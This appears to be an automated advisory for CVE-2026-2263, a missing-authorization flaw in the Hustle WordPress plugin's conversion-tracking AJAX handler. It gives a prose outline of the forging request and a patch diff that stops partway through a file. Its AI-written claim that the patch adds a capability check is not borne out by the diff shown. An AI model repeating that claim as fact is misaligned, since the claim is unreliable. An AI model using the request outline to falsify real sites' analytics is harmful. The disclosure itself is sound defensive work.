Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 20, 2026

CVE-2026-2263: Hustle – Email Marketing, Lead Generation, Optins, Popups <= 7.8.10.2 – Missing Authorization to Unauthenticated Conversion Tracking Data Manipulation (wordpress-popup)

CVE ID CVE-2026-2263
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 7.8.10.2
Patched Version 7.8.11
Disclosed April 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2263:
The Hustle WordPress plugin contains a missing authorization vulnerability in its conversion tracking AJAX handler. This flaw allows unauthenticated attackers to forge conversion events for any Hustle module, including draft modules that are never displayed to users. The vulnerability affects all plugin versions up to and including 7.8.10.2, with a CVSS score of 5.3 indicating medium severity.

The root cause is a missing capability check on the ‘hustle_module_converted’ AJAX action handler. The vulnerable function ‘hustle_module_converted()’ in ‘wordpress-popup/inc/front/hustle-module-front-ajax.php’ processes conversion tracking requests without verifying user authentication or authorization. The function accepts POST parameters ‘module_id’, ‘module_type’, ‘page_id’, and ‘module_sub_type’ to log conversion events. No nonce verification or user capability check exists before the tracking data is saved via the ‘save_tracking()’ method.

Exploitation requires sending a POST request to ‘/wp-admin/admin-ajax.php’ with the ‘action’ parameter set to ‘hustle_module_converted’. Attackers must include valid module identifiers in the POST data. The payload structure includes ‘module_id’ (integer), ‘module_type’ (string), ‘page_id’ (integer), and optional ‘module_sub_type’ (string). Since no authentication is required, attackers can repeatedly send these requests to manipulate conversion statistics for any module, including those in draft status.

The patch introduces multiple changes across several files. The primary fix adds a capability check in the ‘hustle_module_converted()’ function, requiring users to have the ‘hustle_access_emails’ capability. The patch also restructures conversion logging to use a temporary storage mechanism (‘hustle_conversion_logs’ option) that gets processed via a background cron job. New classes ‘Hustle_Background_Conversion_Log’ and ‘Hustle_Module_Inline_Style_Queue’ are added to handle background processing. The ‘temp_log_conversion()’ method replaces direct calls to ‘save_tracking()’, and the background task ensures proper authorization checks before permanent storage.

Successful exploitation allows attackers to manipulate marketing analytics and conversion statistics. Attackers can artificially inflate conversion metrics for any Hustle module, including popups, slide-ins, embedded forms, and social sharing modules. This data manipulation can mislead site owners about campaign effectiveness, potentially affecting business decisions based on inaccurate analytics. The vulnerability also enables tracking event forgery for draft modules that should never record conversions.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wordpress-popup/inc/class-hustle-admin-page-abstract.php
+++ b/wordpress-popup/inc/class-hustle-admin-page-abstract.php
@@ -208,14 +208,6 @@
 				true
 			);

-			wp_enqueue_script(
-				'shared-tutorials',
-				Opt_In::$plugin_url . 'assets/js/shared-tutorials.min.js',
-				'',
-				HUSTLE_SUI_VERSION,
-				true
-			);
-
 			/**
 			 * Filters the variable to be localized into the js side of Hustle's admin pages.
 			 *
@@ -267,9 +259,6 @@
 					'social_sharing' => Hustle_Data::SOCIAL_SHARING_LISTING_PAGE,
 				),
 				'messages'             => array(
-					/* translators: Plugin name */
-					'hustleTutorials'             => esc_html( sprintf( __( '%s Tutorials', 'hustle' ), Opt_In_Utils::get_plugin_name() ) ),
-					'tutorialsRemoved'            => $tutorials_removed,
 					'something_went_wrong'        => esc_html__( 'Something went wrong. Please try again', 'hustle' ), // everywhere.
 					'something_went_wrong_reload' => '<label class="wpmudev-label--notice"><span>' . esc_html__( 'Something went wrong. Please reload this page and try again.', 'hustle' ) . '</span></label>', // everywhere.
 					/* translators: "Aweber" between "strong" tags */
--- a/wordpress-popup/inc/class-hustle-module-fields.php
+++ b/wordpress-popup/inc/class-hustle-module-fields.php
@@ -0,0 +1,21 @@
+<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
+/**
+ * Hustle_Module_Fields class file.
+ *
+ * @package Hustle
+ * @since 7.8.11
+ */
+class Hustle_Module_Fields {
+	const FIELDS = array(
+		'emails' => array(
+			'recipient'     => array(
+				'type'        => 'email',
+				'required_if' => 'automated_email',
+			),
+			'email_subject' => array(
+				'type'        => 'string',
+				'required_if' => 'automated_email',
+			),
+		),
+	);
+}
--- a/wordpress-popup/inc/class-hustle-module-page-abstract.php
+++ b/wordpress-popup/inc/class-hustle-module-page-abstract.php
@@ -114,6 +114,16 @@
 	}

 	/**
+	 * Perform actions during the 'load-{page}' hook.
+	 *
+	 * @since 7.8.11
+	 */
+	public function current_page_loaded() {
+		Hustle_Background_Conversion_Log::get_instance()->process_task();
+		parent::current_page_loaded();
+	}
+
+	/**
 	 * Set up the page's own properties
 	 * Like the current module type, page title, path to the listing page and wizard page template.
 	 *
--- a/wordpress-popup/inc/class-hustle-module-validator.php
+++ b/wordpress-popup/inc/class-hustle-module-validator.php
@@ -0,0 +1,79 @@
+<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
+/**
+ * Hustle_Module_Fields_Validator class file.
+ *
+ * @package Hustle
+ * @since 7.8.11
+ */
+class Hustle_Module_Fields_Validator {
+
+	/**
+	 * Validates the module data before saving.
+	 *
+	 * @param array $fields The fields to validate, structured as [field_name] => rules.
+	 * @param array $data The module data to validate.
+	 * @return array An array containing 'is_valid' (boolean) and 'errors' (array) keys.
+	 */
+	public function validate( $fields, $data ) {
+		$errors = array();
+
+		foreach ( $fields as $field_name => $rules ) {
+			$value = isset( $data[ $field_name ] ) ? $data[ $field_name ] : null;
+			// Check for required fields.
+			if ( isset( $rules['required'] ) && $rules['required'] && empty( $value ) ) {
+				$errors[ $field_name ][] = sprintf(
+					esc_html__( 'The field is required.', 'hustle' ),
+				);
+				continue;
+			}
+
+			// Check for required_if condition.
+			if (
+				isset( $rules['required_if'] ) &&
+				isset( $data[ $rules['required_if'] ] )
+			) {
+				if ( 1 === (int) $data[ $rules['required_if'] ] ) {
+					if ( empty( $value ) ) {
+						$errors[ $field_name ][] = sprintf(
+							esc_html__( 'The field is required.', 'hustle' ),
+						);
+						continue;
+					}
+				} else {
+					// If the condition is not met, skip further validation for this field.
+					continue;
+				}
+			}
+
+			// If the field is not required and empty, skip further validation.
+			if ( empty( $value ) ) {
+				continue;
+			}
+
+			// Validate field type.
+			switch ( $rules['type'] ) {
+				case 'email':
+					$list = array_map( 'trim', explode( ',', $value ) );
+					foreach ( $list as $email ) {
+						if ( '{email}' === $email ) {
+							// If the placeholder is present, skip validation for this email.
+							continue;
+						}
+
+						if ( ! filter_var( $email, FILTER_VALIDATE_EMAIL ) ) {
+							$errors[ $field_name ][] = esc_html__( 'Please enter a valid email address.', 'hustle' );
+							break;
+						}
+					}
+					break;
+				default:
+					break;
+			}
+		}
+
+		return array(
+			'is_valid' => empty( $errors ),
+			'errors'   => $errors,
+		);
+	}
+}
--- a/wordpress-popup/inc/class-hustle-notifications.php
+++ b/wordpress-popup/inc/class-hustle-notifications.php
@@ -264,21 +264,32 @@
 	 *
 	 * @param string $provider Provider's name.
 	 * @param array  $provider_data Provider's data.
+	 * @param string $button_text Notice button text.
+	 * @param string $button_url Notice button URL.
 	 */
-	private function get_provider_auth_deprecation_notice_html( $provider, $provider_data = array() ) {
+	private function get_provider_auth_deprecation_notice_html( $provider, $provider_data = array(), $button_text = '', $button_url = '' ) {
 		$current_user = wp_get_current_user();

 		$username = ! empty( $current_user->user_firstname ) ? $current_user->user_firstname : $current_user->user_login;

-		$migrate_url = add_query_arg(
-			array(
-				'page'                    => Hustle_Data::INTEGRATIONS_PAGE,
-				'show_provider_migration' => $provider,
-				'action'                  => 'show_migration_message',
-			),
-			'admin.php'
-		);
 		$provided_id = isset( $provider_data['id'] ) ? $provider . '_' . $provider_data['id'] : $provider;
+
+		if ( empty( $button_text ) ) {
+			$button_text = __( 'Re-authorize Now', 'hustle' );
+		}
+
+		if ( empty( $button_url ) ) {
+			$button_url = add_query_arg(
+				array(
+					'page'                    => Hustle_Data::INTEGRATIONS_PAGE,
+					'show_provider_migration' => $provider,
+					'action'                  => 'show_migration_message',
+					'integration_id'          => isset( $provider_data['id'] ) ? $provider_data['id'] : '0',
+				),
+				'admin.php'
+			);
+		}
+
 		?>
 		<div
 			id='<?php echo esc_attr( "hustle_migration_notice__$provided_id" ); ?>'
@@ -290,7 +301,7 @@
 			<p>
 			<?php $this->get_provider_migration_content( $provider, $username, $provider_data['name'] ); ?>
 			</p>
-			<p><a href="<?php echo esc_url( $migrate_url ); ?>" class="button-primary"><?php esc_html_e( 'Re-authorize Now', 'hustle' ); ?></a></p>
+			<p><a href="<?php echo esc_url( $button_url ); ?>" class="button-primary"><?php echo esc_html( $button_text ); ?></a></p>
 		</div>
 		<?php
 	}
@@ -315,6 +326,14 @@
 				/* translators: 1. user's name, */
 				$msg = sprintf( esc_html__( "Hey %1$s, we have updated our AWeber integration to support the oAuth 2.0. Since you are connected via oAuth 1.0, we recommend you to migrate your %2$s integration to the latest authorization method as we'll cease to support the deprecated oAuth method at some point.", 'hustle' ), $username, $identifier );
 				break;
+			case 'convertkit':
+				/* translators: 1. integration identifier */
+				$msg = sprintf( esc_html__( 'Hustle’s Kit (Formerly ConvertKit) integration has been upgraded to the latest API (v4) for improved security and reliability. To continue sending leads to Kit, please re-authorize your "%s" integration.', 'hustle' ), $identifier );
+				break;
+			case 'hubspot':
+				/* translators: 1. user's name, 2. provider's name */
+				$msg = sprintf( esc_html__( 'Hey %1$s, we have updated our HubSpot integration to support the latest API (v3).', 'hustle' ), $username );
+				break;

 			default:
 				$msg = '';
@@ -348,7 +367,6 @@
 						'hustle_page_hustle_integrations',
 						'hustle_page_hustle_entries',
 						'hustle_page_hustle_settings',
-						'hustle_page_hustle_tutorials',
 					),
 				)
 			);
@@ -681,6 +699,57 @@
 				$this->get_provider_auth_deprecation_notice_html( 'constantcontact', $provider_data );
 			}
 		}
+
+		$hubspot_instance = Hustle_HubSpot::get_instance();
+		if ( $hubspot_instance->migration_required() ) {
+			// Check if there is a connected HubSpot integration.
+			// If there is, show the notice.
+			if ( $hubspot_instance->is_connected() ) {
+				$provider_data = array(
+					'name' => Hustle_HubSpot::SLUG,
+					'id'   => '0',
+				);
+
+				$url = add_query_arg(
+					array(
+						'page'                    => Hustle_Data::INTEGRATIONS_PAGE,
+						'show_provider_migration' => 'hubspot',
+						'action'                  => 'migrate_provider_data',
+						'nonce'                   => wp_create_nonce( 'hustle_provider_migrate' ),
+					),
+					'admin.php'
+				);
+
+				$this->get_provider_auth_deprecation_notice_html(
+					'hubspot',
+					$provider_data,
+					__( 'Migrate Data', 'hustle' ),
+					$url
+				);
+			}
+		}
+
+		$ck_instance = Hustle_ConvertKit::get_instance();
+		// Check if there is a connected ConvertKit integration.
+		// If there is, show the notice.
+		if ( $ck_instance->is_connected() ) {
+			$connections = $ck_instance->get_settings_values();
+			if ( empty( $connections ) || ! is_array( $connections ) ) {
+				return;
+			}
+
+			foreach ( $connections as $connection_id => $connection ) {
+				if ( empty( $connection['version'] ) || version_compare( $connection['version'], '2.0', '<' ) ) {
+					// Show only one notification.
+					// This will work globally for all the instances.
+					$provider_data = array(
+						'name' => $connection['name'],
+						'id'   => $connection_id,
+					);
+					$this->get_provider_auth_deprecation_notice_html( 'convertkit', $provider_data );
+				}
+			}
+		}
 	}

 	/**
--- a/wordpress-popup/inc/class-hustle-tutorials-page.php
+++ b/wordpress-popup/inc/class-hustle-tutorials-page.php
@@ -1,57 +0,0 @@
-<?php
-/**
- * File for Hustle_Admin_Page_Abstract class.
- *
- * @package Hustle
- * @since 4.4.6
- */
-
-/**
- * Class Hustle_Tutorials_Page
- *
- * @since 4.4.6
- */
-class Hustle_Tutorials_Page extends Hustle_Admin_Page_Abstract {
-
-	/**
-	 * Initiates the page's properties
-	 *
-	 * @since 4.4.6
-	 */
-	public function init() {
-
-		$this->page = 'hustle_tutorials';
-
-		$this->page_title = __( 'Tutorials', 'hustle' );
-
-		$this->page_menu_title = __( 'Tutorials', 'hustle' );
-
-		$this->page_capability = 'hustle_menu';
-
-		$this->page_template_path = 'admin/tutorials';
-
-		add_action( 'wp_ajax_hustle_hide_tutorials', array( $this, 'hide_tutorials' ) );
-	}
-
-	/**
-	 * Hide tutorials.
-	 */
-	public function hide_tutorials() {
-		check_ajax_referer( 'hustle_dismiss_notification' );
-
-		update_option( 'hustle-hide_tutorials', true );
-
-		wp_send_json_success();
-	}
-
-
-	/**
-	 * Get the arguments used when rendering the main page.
-	 *
-	 * @since 4.4.6
-	 * @return array
-	 */
-	public function get_page_template_args() {
-		return array();
-	}
-}
--- a/wordpress-popup/inc/front/class-hustle-decorator-non-sshare.php
+++ b/wordpress-popup/inc/front/class-hustle-decorator-non-sshare.php
@@ -430,6 +430,8 @@
 					} else {
 						// If outside of @media block, add to output.
 						$output .= $prepared;
+						// reset $prepared for next styles.
+						$prepared = '';
 					}
 				} else {
 					$media_names[ $prev_media_names_key ]['styles'] = $prepared;
@@ -438,6 +440,8 @@

 				// If no @media, add styles to $output outside @media.
 				$output .= $prepared;
+				// reset $prepared for next styles.
+				$prepared = '';
 			}

 			// Increase index.
--- a/wordpress-popup/inc/front/class-hustle-decorator-sshare.php
+++ b/wordpress-popup/inc/front/class-hustle-decorator-sshare.php
@@ -57,14 +57,14 @@
 				if ( 'center' !== $display['float_desktop_position'] ) {

 					$styles .= sprintf(
-						$prefix . '.hustle-float.hustle-displaying-in-large[data-desktop="true"][data-desktop-positionx="%1$s"] { %1$s: %2$spx }',
+						$prefix . '.hustle-float.hustle-displaying-in-large[data-desktop="true"][data-desktop-positionx="%1$s"] { %1$s: %2$spx !important }',
 						esc_html( $display['float_desktop_position'] ),
 						esc_attr( $desktop_x_offset )
 					);
 				}

 					$styles .= sprintf(
-						$prefix . '.hustle-float.hustle-displaying-in-large[data-desktop="true"][data-desktop-positiony="%1$s"] { %1$s: %2$spx }',
+						$prefix . '.hustle-float.hustle-displaying-in-large[data-desktop="true"][data-desktop-positiony="%1$s"] { %1$s: %2$spx !important }',
 						esc_html( $display['float_desktop_position_y'] ),
 						esc_attr( $desktop_y_offset )
 					);
@@ -83,14 +83,14 @@
 				if ( 'center' !== $display['float_mobile_position'] ) {

 					$styles .= sprintf(
-						$prefix . '.hustle-float.hustle-displaying-in-small[data-mobiles="true"][data-mobiles-positionx="%1$s"] { %1$s: %2$spx }',
+						$prefix . '.hustle-float.hustle-displaying-in-small[data-mobiles="true"][data-mobiles-positionx="%1$s"] { %1$s: %2$spx !important }',
 						esc_html( $display['float_mobile_position'] ),
 						esc_attr( $mobile_x_offset )
 					);
 				}

 					$styles .= sprintf(
-						$prefix . '.hustle-float.hustle-displaying-in-small[data-mobiles="true"][data-mobiles-positiony="%1$s"] { %1$s: %2$spx }',
+						$prefix . '.hustle-float.hustle-displaying-in-small[data-mobiles="true"][data-mobiles-positiony="%1$s"] { %1$s: %2$spx !important }',
 						esc_html( $display['float_mobile_position_y'] ),
 						esc_attr( $mobile_y_offset )
 					);
--- a/wordpress-popup/inc/front/hustle-module-front-ajax.php
+++ b/wordpress-popup/inc/front/hustle-module-front-ajax.php
@@ -518,6 +518,30 @@
 				$response['behavior']['file']      = $emails_settings['auto_download_file'];
 				$response['behavior']['file_name'] = $file_name;
 			}
+
+			if (
+				! empty( $emails_settings['notification_email'] ) &&
+				! empty( $emails_settings['notification_email_recipient'] )
+			) {
+				$notification_recipient = $this->replace_placeholders(
+					$module_id,
+					sanitize_email( $emails_settings['notification_email_recipient'] ),
+					$form_data
+				);
+				$notification_subject   = $this->replace_placeholders(
+					$module_id,
+					sanitize_text_field( $emails_settings['notification_email_subject'] ),
+					$form_data
+				);
+				$notification_body      = $this->replace_placeholders(
+					$module_id,
+					wp_kses_post( $emails_settings['notification_email_body'] ),
+					$form_data
+				);
+
+				// Send the notification email right away.
+				Hustle_Mail::send_email( $notification_recipient, $notification_subject, $notification_body );
+			}
 		}

 		if ( ! empty( $submit_errors ) ) {
@@ -747,7 +771,6 @@
 			return false;
 		}

-		$tracking = Hustle_Tracking_Model::get_instance();
 		if ( 'social_sharing' === $module->module_type ) {
 			$action = 'conversion';
 		} elseif ( $cta ) {
@@ -755,11 +778,44 @@
 		} else {
 			$action = 'optin_conversion';
 		}
-		$tracking->save_tracking( $module->id, $action, $module->module_type, $page_id, $module_sub_type );
+		$this->temp_log_conversion( $module, $action, $page_id, $module_sub_type );

 		return true;
 	}

+
+	/**
+	 * Temporary log for conversions.
+	 *
+	 * @param Hustle_Module_Model $module Module.
+	 * @param string              $action Action.
+	 * @param int                 $post_id Post ID.
+	 * @param string|null         $module_sub_type Module subtype.
+	 */
+	private function temp_log_conversion( $module, $action, $post_id, $module_sub_type ) {
+		$settings    = Hustle_Settings_Admin::get_privacy_settings();
+		$ip_tracking = ! isset( $settings['ip_tracking'] ) || 'on' === $settings['ip_tracking'];
+
+		if ( $ip_tracking ) {
+			$user_ip = Opt_In_Geo::get_user_ip();
+		} else {
+			$user_ip = '';
+		}
+
+		$logs   = get_option( 'hustle_conversion_logs', array() );
+		$logs[] = array(
+			'time'            => time(),
+			'module_id'       => $module->id,
+			'module_type'     => $module->module_type,
+			'post_id'         => $post_id,
+			'action'          => $action,
+			'ip'              => $user_ip,
+			'module_sub_type' => $module_sub_type,
+		);
+
+		update_option( 'hustle_conversion_logs', $logs );
+	}
+
 	/**
 	 * Get an array with the connected integrations to show in entries.
 	 *
@@ -1129,23 +1185,14 @@
 		}

 		if ( $module->id ) {
-
-			$module_type     = $data['module_type'];
 			$page_id         = $data['page_id'];
 			$module_sub_type = isset( $data['module_sub_type'] ) ? $data['module_sub_type'] : null;

-			$tracking = Hustle_Tracking_Model::get_instance();
-			$res      = $tracking->save_tracking( $module_id, 'view', $module_type, $page_id, $module_sub_type );
-
-		} else {
-			$res = false;
-		}
-
-		if ( ! $res ) {
-			wp_send_json_error( __( 'Error saving stats', 'hustle' ) );
-		} else {
+			$this->temp_log_conversion( $module, 'view', $page_id, $module_sub_type );
 			wp_send_json_success( __( 'Stats Successfully saved', 'hustle' ) );
 		}
+
+		wp_send_json_error( __( 'Error saving stats', 'hustle' ) );
 	}

 	/**
--- a/wordpress-popup/inc/front/hustle-module-front.php
+++ b/wordpress-popup/inc/front/hustle-module-front.php
@@ -98,6 +98,8 @@
 		}
 		// phpcs:enable

+		Hustle_Module_Inline_Style_Queue::init();
+
 		if ( ! $is_preview ) {
 			$this->prepare_for_front();
 		} else {
@@ -121,7 +123,7 @@

 		// Enqueue it in the footer to overrider all the css that comes with the popup.
 		add_action(
-			'wp_footer',
+			'hustle_after_enqueue_inline_styles',
 			array( $this, 'register_styles' )
 		);

@@ -299,8 +301,8 @@
 				'is_admin'              => is_admin(),
 				'real_page_id'          => Opt_In_Utils::get_real_page_id(),
 				'thereferrer'           => Opt_In_Utils::get_referrer(),
-				'actual_url'            => Opt_In_Utils::get_current_actual_url(),
-				'full_actual_url'       => Opt_In_Utils::get_current_actual_url( true ),
+				'actual_url'            => esc_url_raw( Opt_In_Utils::get_current_actual_url() ),
+				'full_actual_url'       => esc_url_raw( Opt_In_Utils::get_current_actual_url( true ) ),
 				'native_share_enpoints' => Hustle_SShare_Model::get_sharing_endpoints( false ),
 				'ajaxurl'               => admin_url( 'admin-ajax.php', is_ssl() ? 'https' : 'http' ),
 				'page_id'               => get_queried_object_id(), // Used in many places to decide whether to show the module and cookies.
@@ -723,10 +725,14 @@
 						if (
 							! empty( $mailchimp_settings ) &&
 							! is_null( $mailchimp_settings['group'] ) &&
-							'-1' !== $mailchimp_settings['group'] &&
-							'dropdown' === $mailchimp_settings['group_type']
+							'-1' !== $mailchimp_settings['group']
 						) {
-							$select2_found = true;
+							if (
+								isset( $mailchimp_settings['group_type'] ) &&
+								'dropdown' === $mailchimp_settings['group_type']
+							) {
+								$select2_found = true;
+							}
 						}
 					}
 				}
--- a/wordpress-popup/inc/front/hustle-module-inline-style-queue.php
+++ b/wordpress-popup/inc/front/hustle-module-inline-style-queue.php
@@ -0,0 +1,113 @@
+<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
+/**
+ * Hustle_Module_Inline_Style_Queue
+ *
+ * @package Hustle
+ */
+class Hustle_Module_Inline_Style_Queue {
+
+	/**
+	 * A queue of inline styles to be printed.
+	 *
+	 * @var array
+	 */
+	private static $inline_styles = array();
+
+	/**
+	 * Initialize the class
+	 */
+	public static function init() {
+		add_action( 'wp_enqueue_scripts', array( __CLASS__, 'late_enqueue_bundle_inline_styles' ), 100 );
+	}
+
+	/**
+	 * Enqueue inline style
+	 *
+	 * @param string $style_id Style ID.
+	 * @param string $style Style.
+	 */
+	public static function enqueue_inline_style( $style_id, $style ) {
+		$style = str_replace( array( "r", "n" ), '', $style );
+
+		if ( ! did_action( 'wp_enqueue_scripts' ) ) {
+			// Not yet enqueued, add to the bundle.
+			self::$inline_styles[ $style_id ] = $style;
+		} else {
+			self::$inline_styles[ $style_id ] = true;
+			// Already enqueued, add it immediately.
+			self::late_enqueue_single_style( $style_id, $style );
+		}
+	}
+
+	/**
+	 * Late enqueue single inline style
+	 *
+	 * @param string $style_id Style ID.
+	 * @param string $style Style.
+	 */
+	public static function late_enqueue_single_style( $style_id, $style ) {
+		wp_register_style(
+			$style_id,
+			false,
+			array(),
+			'1.0.0'
+		);
+		wp_enqueue_style( $style_id );
+
+		wp_add_inline_style(
+			$style_id,
+			$style
+		);
+	}
+
+	/**
+	 * Has inline style
+	 *
+	 * @param string $style_id Style ID.
+	 * @return bool
+	 */
+	public static function has_inline_style( $style_id ) {
+		return isset( self::$inline_styles[ $style_id ] );
+	}
+
+	/**
+	 * Late enqueue bundle inline styles
+	 *
+	 * @return void
+	 */
+	public static function late_enqueue_bundle_inline_styles() {
+		$all_styles = '';
+
+		foreach ( self::$inline_styles as $style ) {
+			if ( ! is_string( $style ) ) {
+				continue;
+			}
+
+			$all_styles .= $style;
+		}
+
+		if ( $all_styles ) {
+
+			if ( ! wp_style_is( 'hustle_inline_styles_front', 'enqueued' ) ) {
+				// Enqueue the bundle if not already enqueued.
+				wp_register_style(
+					'hustle_inline_styles_front',
+					false,
+					array(),
+					'1.0.0'
+				);
+				wp_enqueue_style( 'hustle_inline_styles_front' );
+			}
+
+			wp_add_inline_style(
+				'hustle_inline_styles_front',
+				$all_styles
+			);
+		}
+
+		/**
+		 * Fires after enqueueing inline styles.
+		 */
+		do_action( 'hustle_after_enqueue_inline_styles' );
+	}
+}
--- a/wordpress-popup/inc/front/hustle-renderer-abstract.php
+++ b/wordpress-popup/inc/front/hustle-renderer-abstract.php
@@ -107,12 +107,7 @@
 			$display_module = $this->module->active && $this->module->get_visibility()->is_allowed_to_display( $module->module_type, $sub_type );
 		}
 		if ( $is_preview || $display_module ) {
-			if ( did_action( 'wp_head' ) ) {
-				add_action( 'wp_footer', array( $this, 'print_styles' ), 9999 );
-			} else {
-				add_action( 'wp_head', array( $this, 'print_styles' ) );
-			}
-
+			$this->enqueue_styles();
 			// Render form.
 			return $this->get_module( $sub_type, $custom_classes );
 		}
@@ -182,6 +177,28 @@
 	}

 	/**
+	 * Enqueue styles
+	 */
+	public function enqueue_styles() {
+		$disable_styles = apply_filters( 'hustle_disable_front_styles', false, $this->module, $this );
+
+		if ( ! $disable_styles ) {
+			$render_id = self::$render_ids[ $this->module->module_id ];
+
+			$style_id = 'hustle-module-' . esc_attr( $this->module->module_id ) . '-' . esc_attr( $render_id ) . '-styles';
+
+			if ( Hustle_Module_Inline_Style_Queue::has_inline_style( $style_id ) ) {
+				// Already enqueued.
+				return;
+			}
+
+			$style = $this->module->get_decorated()->get_module_styles( $this->module->module_type ); // it's already escaped.
+
+			Hustle_Module_Inline_Style_Queue::enqueue_inline_style( $style_id, $style );
+		}
+	}
+
+	/**
 	 * Print styles
 	 */
 	public function print_styles() {
--- a/wordpress-popup/inc/helpers/class-hustle-layout-helper.php
+++ b/wordpress-popup/inc/helpers/class-hustle-layout-helper.php
@@ -116,10 +116,11 @@
 	 * @param  boolean $return_value Whether to echo or return the markup.
 	 * @return string
 	 */
-	public function get_html_for_options( $options, $return_value = false ) {
-		$html = '';
+	public static function get_html_for_options( $options, $return_value = false ) {
+		$instance = new self();
+		$html     = '';
 		foreach ( $options as $key => $option ) {
-			$html .= $this->render( 'admin/commons/options', $option, $return_value );
+			$html .= $instance->render( 'admin/commons/options', $option, $return_value );
 		}
 		return $html;
 	}
--- a/wordpress-popup/inc/hustle-background-conversion-log.php
+++ b/wordpress-popup/inc/hustle-background-conversion-log.php
@@ -0,0 +1,129 @@
+<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
+/**
+ * Hustle Background Conversion Log
+ *
+ * @package Hustle
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
+/**
+ * Class Hustle_Background_Conversion_Log
+ *
+ * Handles background processing for conversion log tasks.
+ */
+class Hustle_Background_Conversion_Log {
+
+	/**
+	 * Instance of this class
+	 *
+	 * @var Hustle_Background_Conversion_Log
+	 */
+	private static $instance = null;
+
+	/**
+	 * Cron hook name
+	 *
+	 * @var string
+	 */
+	private $cron_hook = 'hustle_conversion_log_cron';
+
+	/**
+	 * Cron interval name
+	 *
+	 * @var string
+	 */
+	private $cron_interval = 'hustle_every_minute';
+
+	/**
+	 * Get the singleton instance
+	 *
+	 * @return Hustle_Background_Conversion_Log
+	 */
+	public static function get_instance() {
+		if ( is_null( self::$instance ) ) {
+			self::$instance = new self();
+		}
+		return self::$instance;
+	}
+
+	/**
+	 * Constructor
+	 */
+	private function __construct() {
+		add_action( $this->cron_hook, array( $this, 'process_task' ) );
+		add_filter( 'cron_schedules', array( $this, 'add_cron_interval' ) );
+	}
+
+	/**
+	 * Initialize the background task
+	 */
+	public function init() {
+		if ( ! wp_next_scheduled( $this->cron_hook ) ) {
+			wp_schedule_event( time(), $this->cron_interval, $this->cron_hook );
+		}
+	}
+
+	/**
+	 * Add custom cron interval (every 15 minutes)
+	 *
+	 * @param array $schedules Existing schedules.
+	 * @return array Modified schedules.
+	 */
+	public function add_cron_interval( $schedules ) {
+		$schedules[ $this->cron_interval ] = array(
+			'interval' => 900, // 900 seconds = 15 minutes
+			'display'  => esc_html__( 'Every Fifteen Minutes', 'hustle' ),
+		);
+		return $schedules;
+	}
+
+	/**
+	 * Process the background task
+	 */
+	public function process_task() {
+		self::save_conversion_logs();
+	}
+
+	/**
+	 * Save temporary conversion logs.
+	 *
+	 * @since 7.8.11
+	 */
+	public static function save_conversion_logs() {
+		$temp_conversions = get_option( 'hustle_conversion_logs', array() );
+		if ( ! empty( $temp_conversions ) ) {
+			foreach ( $temp_conversions as $conversion ) {
+
+				$date = date_i18n( 'Y-m-d H:i:s', $conversion['time'] );
+				Hustle_Tracking_Model::get_instance()->save_tracking(
+					$conversion['module_id'],
+					$conversion['action'],
+					$conversion['module_type'],
+					$conversion['post_id'],
+					$conversion['module_sub_type'],
+					$date,
+					$conversion['ip']
+				);
+			}
+			delete_option( 'hustle_conversion_logs' );
+		}
+	}
+
+	/**
+	 * Stop the scheduled task
+	 */
+	public function stop() {
+		$timestamp = wp_next_scheduled( $this->cron_hook );
+		if ( $timestamp ) {
+			wp_unschedule_event( $timestamp, $this->cron_hook );
+		}
+	}
+
+	/**
+	 * Prevent cloning of the instance
+	 */
+	private function __clone() {}
+}
--- a/wordpress-popup/inc/hustle-deletion.php
+++ b/wordpress-popup/inc/hustle-deletion.php
@@ -51,6 +51,7 @@
 		delete_option( 'hustle_custom_palettes' );
 		delete_option( 'hustle_notice_stop_support_m2' );
 		delete_option( 'hustle-hide_tutorials' );
+		delete_option( 'hustle_conversion_logs' );
 	}

 	/**
--- a/wordpress-popup/inc/hustle-init.php
+++ b/wordpress-popup/inc/hustle-init.php
@@ -51,15 +51,11 @@
 				new Hustle_Entries_Admin();

 				new Hustle_Settings_Page();
-
-				$hide_docs = apply_filters( 'wpmudev_branding_hide_doc_link', false );
-				if ( ! $hide_docs ) {
-					new Hustle_Tutorials_Page();
-				}
 			}

 			if ( is_admin() || wp_doing_cron() ) {
 				new Hustle_General_Data_Protection();
+				Hustle_Background_Conversion_Log::get_instance()->init();
 			}

 			if ( Opt_In_Utils::is_free() ) {
--- a/wordpress-popup/inc/hustle-module-model.php
+++ b/wordpress-popup/inc/hustle-module-model.php
@@ -567,6 +567,8 @@
 					if ( ! in_array( $key, array( 'main_content', 'emailmessage', 'email_message', 'success_message' ), true ) ) {
 						$value = wp_kses_post( $value );
 					}
+				} elseif ( 'custom_css' === $key ) {
+					$value = sanitize_textarea_field( $value );
 				} elseif ( ! is_int( $value ) ) {
 					$value = sanitize_text_field( $value );
 				}
@@ -602,10 +604,38 @@
 			return $errors;
 		}

+		$validator = $this->create_validator();
+
+		$field_errors = array();
+		foreach ( Hustle_Module_Fields::FIELDS as $section => $fields ) {
+			if ( ! isset( $data[ $section ] ) ) {
+				continue;
+			}
+
+			$result = $validator->validate( $fields, $data[ $section ] );
+			if ( ! $result['is_valid'] ) {
+				$field_errors[ $section ] = $result['errors'];
+			}
+		}
+
+		if ( ! empty( $field_errors ) ) {
+			$errors['error']['field_errors'] = $field_errors;
+			return $errors;
+		}
+
 		return true;
 	}

 	/**
+	 * Create the validator instance.
+	 *
+	 * @return Hustle_Module_Fields_Validator
+	 */
+	protected function create_validator() {
+		return new Hustle_Module_Fields_Validator();
+	}
+
+	/**
 	 * Get newest value.
 	 *
 	 * @param string $option_name Option name.
--- a/wordpress-popup/inc/hustle-providers-admin.php
+++ b/wordpress-popup/inc/hustle-providers-admin.php
@@ -136,6 +136,43 @@
 			$response['integration_id'] = $multi_id;
 		}

+		if ( 'migrate_provider_data' === $action && ! empty( $provider ) ) {
+			$nonce = filter_input( INPUT_GET, 'nonce' );
+
+			if ( $nonce && wp_verify_nonce( $nonce, 'hustle_provider_migrate' ) ) {
+
+				$provider_instance = Hustle_Provider_Utils::get_provider_by_slug( $provider );
+
+				if (
